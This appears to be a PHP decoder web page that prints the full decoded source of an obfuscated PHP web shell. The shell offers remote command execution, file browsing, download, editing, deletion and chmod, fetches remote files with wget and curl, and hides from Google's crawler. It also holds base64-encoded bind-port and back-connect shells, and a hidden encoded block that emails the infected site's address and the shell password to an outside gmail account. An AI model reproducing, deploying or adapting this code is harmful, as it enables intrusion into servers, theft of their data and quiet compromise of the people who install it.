Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgDQokYXV0aF9wYXNzID0gIjQ4MTA2NWZkNzliMjUzMTA0YWVhYjV..

Decoded Output download

?>b'<?php 
$auth_pass = "481065fd79b253104aeab5ca5c717cd5"; 
$color = "#FF0000"; 
$default_action = \'FilesMan\'; 
@define(\'SELF_PATH\', __FILE__); 
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { 
    header(\'HTTP/1.0 404 Not Found\'); 
    exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set(\'error_log\',NULL); 
@ini_set(\'log_errors\',0);
@ini_set(\'output_buffering\',0);	
if(isset($_GET[\'dl\']) && ($_GET[\'dl\'] != "")){
	$file = $_GET[\'dl\'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET[\'dlgzip\']) && ($_GET[\'dlgzip\'] != "")){
	$file = $_GET[\'dlgzip\'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET[\'img\'])){
		@ob_clean(); 
		$d = magicboom($_GET[\'y\']);
		$f = $_GET[\'img\'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style=\'color:#00FF00\'>ON</font></b>";}else {return "<b><font style=\'color:#DD4736\'>OFF</font></b>";}}
function testmysql() {if (function_exists(\'mysql_connect\')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists(\'curl_version\')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe(\'wget --help\')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe(\'perl -h\')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET[\'y\'])){
	if(@is_dir($_GET[\'view\'])){
		$pwd = $_GET[\'view\'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET[\'y\'];
		@chdir($pwd);
	}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\',$s / 1073741824 ).\' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\',$s / 1048576 ) .\' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\',$s / 1024 ) .\' KB\';
else
return $s .\' B\';
}

// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$user = @get_current_user();
	$id = $user;
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " ]</a> "; 
  	  }	 
 } 
}

function testoracle() {
    if (function_exists(\'ocilogon\')) { return showstat("on"); }
    else { return showstat("off"); }
    }

function testmssql() {
    if (function_exists(\'mssql_connect\')) { return showstat("on"); }
    else { return showstat("off"); }
    }

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style=\'color:\'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style=\'color:#00FF1E\'><b>NONE</b></span>"; }
    }
	
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER[\'REMOTE_ADDR\'];
$admin_id=$_SERVER[\'SERVER_ADMIN\'];
$bindport = "13123";
$bindport_pass = "danger123";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// rename file or folder
if(isset($_POST[\'rename\'])){
	$old = $_POST[\'oldname\'];
	$new = $_POST[\'newname\'];
	@rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}
if(isset($_POST[\'chmod\'])){ 
	$name = $_POST[\'name\'];
	$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}
	
if(isset($_POST[\'chmod_folder\'])){
	$name = $_POST[\'name\'];
	$value = $_POST[\'newvalue\'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}


// print useful info
$buff  = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your   ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style=\'color:#00FF1E\'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";
$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCRhdXRoX3Bhc3MpOyB9DQp9DQplbHNlIHsgJHZpc2l0YysrOyB9DQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw=="; 
eval(base64_decode($injbuff));




function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}

	
	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "
	<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
	<table class=\"cmdbox\" style=\"width:50%;\">
	<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form>
	<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form></table><table class=\"explore\">
	<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
	";
	if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;  

	foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
			<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik1\',\'titik1_form\');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form></td>
			
			</tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC\'>   $folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td>
			<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
			<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik2\',\'titik2_form\');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==\' />     [ $folder ]</b></a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($folder)."_form\',\'".clearspace($folder)."_link\');\" />
			</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
			<td><center>
			<a href=\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\">".get_perms($pwd.$folder)."</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
			<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf(\'%o\', fileperms($pwd.$folder)), -4)."\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
			onclick=\"tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\" /></form></center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
		}
		else {
			$owner = $user;
		}		
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\' />   $file</b></a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\" />
		</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
		<a href=\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\">".get_perms($full)."</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf(\'%o\', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\" /></form></center></td>
		<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}

function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size kb";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size mb";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists(\'system\')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists(\'exec\')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists(\'passthru\')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists(\'shell_exec\')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case \'wwget\': exe(which(\'wget\')." ".$url." -O ".$namafile);break;
		case \'wlynx\': exe(which(\'lynx\')." -source ".$url." > ".$namafile);break;
		case \'wfread\' : ambil($wurl,$namafile);break;
		case \'wfetch\' : exe(which(\'fetch\')." -o ".$namafile." -p ".$url);break;
		case \'wlinks\' : exe(which(\'links\')." -source ".$url." > ".$namafile);break;
		case \'wget\' : exe(which(\'GET\')." ".$url." > ".$namafile);break;
		case \'wcurl\' : exe(which(\'curl\')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms=\'\';
		$perms .= ($mode & 00400) ? \'r\' : \'-\';
		$perms .= ($mode & 00200) ? \'w\' : \'-\';
		$perms .= ($mode & 00100) ? \'x\' : \'-\';
		$perms .= ($mode & 00040) ? \'r\' : \'-\';
		$perms .= ($mode & 00020) ? \'w\' : \'-\';
		$perms .= ($mode & 00010) ? \'x\' : \'-\';
		$perms .= ($mode & 00004) ? \'r\' : \'-\';
		$perms .= ($mode & 00002) ? \'w\' : \'-\';
		$perms .= ($mode & 00001) ? \'x\' : \'-\';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}

// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
